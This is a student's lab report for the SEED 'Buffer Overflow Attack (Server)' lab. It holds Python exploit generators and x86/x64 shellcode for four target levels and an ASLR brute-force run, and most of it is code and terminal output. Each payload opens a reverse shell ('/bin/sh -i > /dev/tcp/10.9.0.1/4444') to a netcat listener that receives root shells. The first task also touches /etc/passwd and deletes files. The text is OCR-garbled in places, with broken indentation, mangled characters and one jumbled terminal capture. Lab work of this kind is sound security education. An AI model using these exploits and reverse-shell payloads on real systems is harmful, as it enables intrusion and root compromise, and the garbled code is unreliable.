Buffer Overflow

Q-01

Buffer Overflow Attack (Server)

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Task-01

Get Familiar with the Shellcode

Task. Please modify the shellcode, so you can use it to delete a file. Please include your modified the shellcode in the lab report, as well as your screenshots.

```
GNU nano 4.8 shellcode 32.py Modified

#!/usr/bin/python3
import sys

# You can use this shellcode to run any command you want
shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "bin/bash*"
    "-c*"

# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.

# The * in this line serves as the position marker
    "/bin/ls -l;touch fileToDelete; rm fileToDelete; /bin/tail -n 2 /etc/passwd >
    "AAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBB" # Placeholder for argv[1] --> "-c"
```

```
[12/14/23]seed@VM:~/.../shellcode$ ls
call_shellcode.c Makefile README.md shellcode_32.py shellcode_64.py
[12/14/23]seed@VM:~/.../shellcode$ nano shellcode_32.py
[12/14/23]seed@VM:~/.../shellcode$ python3 shellcode_32.py
[12/14/23]seed@VM:~/.../shellcode$ python3 shellcode_64.py
[12/14/23]seed@VM:~/.../shellcode$ ls
call_shellcode.c codefile_64 README.md shellcode_64.py
codefile_32 Makefile shellcode_32.py
[12/14/23]seed@VM:~/.../shellcode$
```

```
[12/14/23]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[12/14/23]seed@VM:~/.../shellcode$ ls
a32.out call_shellcode.c codefile_64 README.md shellcode_64.py
a64.out codefile_32 Makefile shellcode_32.py
[12/14/23]seed@VM:~/.../shellcode$
```

- Getting ebp and buffers address.

```
[12/14/23]seed@VM:~/.../Labsetup$ echo test | nc 10.9.0.5 9090 ^C
[12/14/23]seed@VM:~/.../Labsetup$
```

```
[12/14/23]seed@VM:~/.../Labsetup$ dcup
Creating network "net-10.9.0.0" with the default driver
WARNING: Found orphan containers (mysql-10.9.0.6, www-10.9.0.5) for this project
If you removed or renamed this service in your compose file, you can run this
command with the --remove-orphans flag to clean it up.
Creating server-2-10.9.0.6 ... done
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Creating server-4-10.9.0.8 ... done
Attaching to server-2-10.9.0.6, server-3-10.9.0.7, server-1-10.9.0.5, server-4-1
0.9.0.8
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 5
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd4c8
server-1-10.9.0.5 | Buffer's address inside bof():
                                                       0xffffd458
server-1-10.9.0.5 | ==== Returned Properly ====
```

Reverse Shell:

```
[12/14/23]seed@VM:~/.../Labsetup$ dcup
ARNING: Found orphan containers (mysql-10.9.0.6, www-10.9.0.5) for this project
If you removed or renamed this service in your compose file, you can run this
command with the --remove-orphans flag to clean it up.
Starting server-1-10.9.0.5 ... done
Starting server-4-10.9.0.8 ... done
Starting server-2-10.9.0.6 ... done
Starting server-3-10.9.0.7 ... done
Attaching to server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8, server-3-1
0.9.0.7
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():
                                                       0xffffd428
server-1-10.9.0.5 | Buffer's address inside bof():
                                                       0xffffd3b8
```

Code:

SourceURL:file:///home/blackcat/Downloads/moghees.rtf

```
import sys
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
 "/bin/bash*"
"-(*"
"/bin/sh - i > /dev/tcp/10.9.0.1/4444 0>&1; *"
 "AAAAAAA" #Placeholderforargv[0] --> "/bin/bash"
"BBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCC" # Placeholder for argv[2] --> the command string
 "DDDDDDD" # Placeholder for argv[3] --> NULL
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode somewhere in the payload
# 0xffffd428-0xffffd3b8 = 112
start = 517 - len(shellcode)
                               # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value and put it somewhere in the payload
ret = 0xffffd428 + 10 # Change this number
offset = 112 + 4 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

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[12/14/23]seed@VM:~/.../attack-code$ ./exploit.py

[12/14/23]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

```
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd428
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd3b8
```

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[12/14/23]seed@VM:~/.../Labsetup$ nc -nvl 4444

Listening on 0.0.0.0 4444

Connection received on 10.9.0.5 47092

whoami
root
```

Level-2 Attack

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[12/14/23]seed@VM: ~/.../attack-code$ echo test | nc 10.9.0.6 9090

^C

[12/14/23]seed@VM: ~/.../attack-code$
```

```
[12/14/23]seed@VM:~/.../Labsetup$ dcup
VARNING: Found orphan containers (www-10.9.0.5, mysql-10.9.0.6) for this project
 If you removed or renamed this service in your compose file, you can run this
command with the --remove-orphans flag to clean it up.
Starting server-1-10.9.0.5 ... done
Starting server-4-10.9.0.8 ... done
Starting server-2-10.9.0.6 ... done
Starting server-3-10.9.0.7 ... done
Attaching to server-2-10.9.0.6, server-4-10.9.0.8, server-3-10.9.0.7, server-1-1
0.9.0.5
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 5
server-2-10.9.0.6 | Buffer's address inside bof():
                                                        0xffffd168
server-2-10.9.0.6 | ==== Returned Properly ====
```

Code:

```
SourceURL:file:///home/blackcat/Downloads/moghees.rtf
#!/usr/bin/python3
import sys
shellcode = (
 "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
 "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
 "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
 "/bin/bash*"
 "-c*"
 "/bin/bash -i > /dev/tcp/10.9.0.1/4444 0>&1; *"
 "AAAAAAA" #Placeholder for argv[0] --> "/bin/bash"
 "BBBBBBB" #Placeholderforargv[1] --> "-c"
 "CCCCCCC" # Placeholder for argv[2] --> the command string
 "DDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)
                          # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value and put it somewhere in the payload
ret = 0xffffd168 + 300 # Change this number
for i in range (60):
offset = i * 4
              #Change this number
#Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
#Write the content to a file
```

with open('badfile', 'wb') as f: f.write(content)

```
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd168
```

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[12/14/23]seed@VM:~/.../Labsetup$ nc -nvl 4444

Listening on 0.0.0.0 4444

Connection received on 10.9.0.6 52354

whoami
root
```

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Level-3 Attack

```
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 5
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe160
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe090
server-3-10.9.0.7 | ==== Returned Properly ====
```

```
seed@VM: ~/.../Labsetup
                                seed@VM: ~/.../attack-code
                                                            seed@VM: ~/.../Labsetup
[12/14/23]seed@VM:~/.../Labsetup$ dcup
ARNING: Found orphan containers (www-10.9.0.5, mysql-10.9.0.6) for this project
If you removed or renamed this service in your compose file, you can run this
command with the --remove-orphans flag to clean it up.
Starting server-1-10.9.0.5 ... done
Starting server-2-10.9.0.6 ... done
Starting server-3-10.9.0.7 ... done
Starting server-4-10.9.0.8 ... done
Attaching to server-1-10.9.0.5, server-2-10.9.0.6, server-4-10.9.0.8, server-3-1
0.9.0.7
server-3-10.9.0.7
                    Got a connection from 10.9.0.1
server-3-10.9.0.7
                    Starting stack
server-3-10.9.0.7
                    Input size: 517
server-3-10.9.0.7
                    Frame Pointer (rbp) inside bof():
                                                         0x00007fffffffe340
                    Buffer's address inside bof():
                                                         0x00007fffffffe270
server-3-10.9.0.7
server-3-10.9.0.7
                    Got a connection from 10.9.0.1
server-3-10.9.0.7
                    Starting stack
server-3-10.9.0.7
                    Input size: 517
                    Frame Pointer (rbp) inside bof():
                                                         0x00007fffffffe340
server-3-10.9.0.7
server-3-10.9.0.7 | Buffer's address inside bof():
                                                         0x00007fffffffe270
```

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[12/14/23]seed@VM:~/.../Labsetup$ nc -nvl 4444

Listening on 0.0.0.0 4444

Connection received on 10.9.0.7 59952

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root
```

Code:

#!/usr/bin/python3

```
import sys
shellcode = (
    "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
    "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
    "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\x4f\x48\x8d\x73\x48\x48\x31"
    "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/sh-i>/dev/tcp/10.9.0.1/4444 0>&1; *"
    "AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB" # Placeholder for argv[1] --> "-c"
```

```
"CCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDD" #Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode somewhere in the payload
#0x00007fffffffe160-0x00007fffffffe090 = 208
start = 0
          #Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value and put it somewhere in the payload
ret = 0x00007fffffffe270 # Change this number
offset = 208 + 8
                # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
#Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

Level-4 Attack

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 5
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe340
server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe2e0
server-4-10.9.0.8 | ==== Returned Properly ====
```

```
seed@VM:~/.../Labsetup × seed@VM:~/.../Labsetup$ nc -nvl 4444

Listening on 0.0.0.0 4444

Connection received on 10.9.0.8 40266

whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
```

```
#!/usr/bin/python3
import sys
shellcode = (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
"/bin/sh -i > /dev/tcp/10.9.0.1/4444 0>&1; *"
"AAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)
                          # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value and put it somewhere in the payload
ret = 0x00007fffffffe340 + 1200 # Change this number
offset = 96 + 8
                # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

Experimenting with the Address Randomization

```
server-1-10.9.0.5
                    Got a connection from 10.9.0.1
server-1-10.9.0.5
                    Starting stack
server-1-10.9.0.5
                    Input size: 517
server-1-10.9.0.5
                    Frame Pointer (ebp) inside bof():
                                                        0xffc9ffe8
                    Buffer's address inside bof():
server-1-10.9.0.5
                                                        0xffc9ff78
server-2-10.9.0.6
                    Got a connection from 10.9.0.1
server-2-10.9.0.6
                    Starting stack
server-2-10.9.0.6
                    Input size: 517
server-2-10.9.0.6
                    Buffer's address inside bof():
                                                        0xffe3d0b8
server-3-10.9.0.7
                    Got a connection from 10.9.0.1
server-3-10.9.0.7
                    Starting stack
server-3-10.9.0.7
                    Input size: 517
server-3-10.9.0.7
                    Frame Pointer (rbp) inside bof():
                                                        0x00007ffc16c34410
                    Buffer's address inside bof():
server-3-10.9.0.7
                                                        0x00007ffc16c34340
```

```
| seed@VM:-/.../Labsetup | seed@VM:-/.../attack-code | xeed@VM:-/.../Labsetup | xeed@VM:-/.../Labsetup | xeed@VM:-/.../attack-code | xexploit1.py | xeed@VM:-/.../attack-code | xexploit2.py | xexploit2.py | xexploit2.py | xexploit2.py | xexploit2.py | xexploit2.py | xexploit3.py | xexploit3.
```

```
seed@VM: ~/.../Labsetup
                      seed@VM: ~/.../attack-co... ×
                                           seed@VM: ~/.../Labsetup
                                                                 seed@VM: ~/.../Labsetup
[12/14/23]seed@VM:~/.../attack-code$ ./exploit1.py
[12/14/23]seed@VM:~/.../attack-code$ ./brute-force.sh
0 minutes and 0 seconds elapsed.
The program has been running 1 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 2 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 3 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 4 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 5 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 6 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 7 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 8 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 9 times so far.
0 minutes and 0 seconds elapsed.
The program has been running 10 times so far.
```

```
seed@VM: ~/.../Labsetup ×
                        seed@VM: ~/.../attack-co...
                                                  seed@VM: ~/.../Labsetup
                                                                         seed@VM: ~/.../Labsetup
[12/14/23]seed@VM:~/.../Labsetup$ nc -nvl 4444
Listening on 0.0.0.0 4444
Connection received on 10.9.0.5 53102
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
```

Code

```
#!/usr/bin/python3
import sys
shellcode = (
```

[&]quot;\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"

[&]quot;\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"

[&]quot;\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff\xff"

[&]quot;/bin/bash*"

```
"-c*"
"/bin/sh -i > /dev/tcp/10.9.0.1/4444 0>&1; *"
"AAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode somewhere in the payload
# 0xffc9ffe8-0xffc9ff78 = 112
start = 517 - len(shellcode)
                         # Change this number
content[start:start + len(shellcode)] = shellcode
# Decide the return address value and put it somewhere in the payload
ret = 0xffc9ffe8+8 # Change this number
offset = 112 + 4
               # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

Experimenting with Other Countermeasures

```
seed@VM: ~/.../Labsetup
                                 seed@VM: ~/.../shellcode
                                                             seed@VM: ~/.../Labsetup
[12/14/23]seed@VM:~/.../shellcode$ ls
                                          README.md
a32.out call shellcode.c codefile 64
                                                            shellcode_64.py
a64.out codefile 32
                            Makefile
                                          shellcode 32.py
[12/14/23]seed@VM:~/.../shellcode$ gcc -m32 -o a32.out call shellcode.c
[12/14/23]seed@VM:~/.../shellcode$ gcc -o a64.out call shellcode.c
[12/14/23]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[12/14/23]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[12/14/23]seed@VM:~/.../shellcode$
```